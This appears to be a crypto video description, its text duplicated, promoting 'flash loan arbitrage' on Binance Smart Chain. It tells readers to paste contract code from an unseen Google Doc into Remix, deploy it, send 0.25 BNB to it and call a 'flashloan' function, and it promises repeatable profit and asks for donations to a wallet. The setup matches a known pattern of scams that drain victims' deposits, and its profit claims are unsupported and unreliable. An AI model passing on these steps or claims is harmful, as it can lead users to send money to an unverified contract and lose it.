Working on 28th May 21.(updated)
FOR EDUCATION PURPOSE. This worked for me. But TRY IT AT YOUR OWN RISK.
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change. Follow the instructions in the video.
Connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
Remix Link - http://remix.ethereum.org/
Smart Contract Link - https://docs.google.com/document/d/1OMcOZUuNDX1GSDXSssPCUt0zgU5WDU3Hv4-aAeXc2UE
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
https://coinmarketcap.com/alexandria/article/how-to-benefit-from-crypto-arbitrage
Here a flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.23-0.25 BNB of gas. Note that the transaction sender gains 2.1 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://docs.google.com/document/d/1-...)
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 0.25 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.23-0.25 BNB fees)
7. Call 'flashloan' function in Remix.
Donate if this helped: 0xC8be890dDa5ED8383420A2aE5487DA2886844CAA
FOR EDUCATION PURPOSE. This worked for me. But TRY IT AT YOUR OWN RISK.
In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change. Follow the instructions in the video.
Connecting MetaMask to Binance Smart Chain - https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain
Remix Link - http://remix.ethereum.org/
Smart Contract Link - https://docs.google.com/document/d/1OMcOZUuNDX1GSDXSssPCUt0zgU5WDU3Hv4-aAeXc2UE
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
https://coinmarketcap.com/alexandria/article/how-to-benefit-from-crypto-arbitrage
Here a flash loan borrowed 3,137.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,148.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,148.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs 0.23-0.25 BNB of gas. Note that the transaction sender gains 2.1 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code (https://docs.google.com/document/d/1-...)
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy the contract
5. Get the Contract address from Remix
6. Send 0.25 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.23-0.25 BNB fees)
7. Call 'flashloan' function in Remix.
Donate if this helped: 0xC8be890dDa5ED8383420A2aE5487DA2886844CAA
- Category
- Crypto Trading
- Tags
Be the first to comment
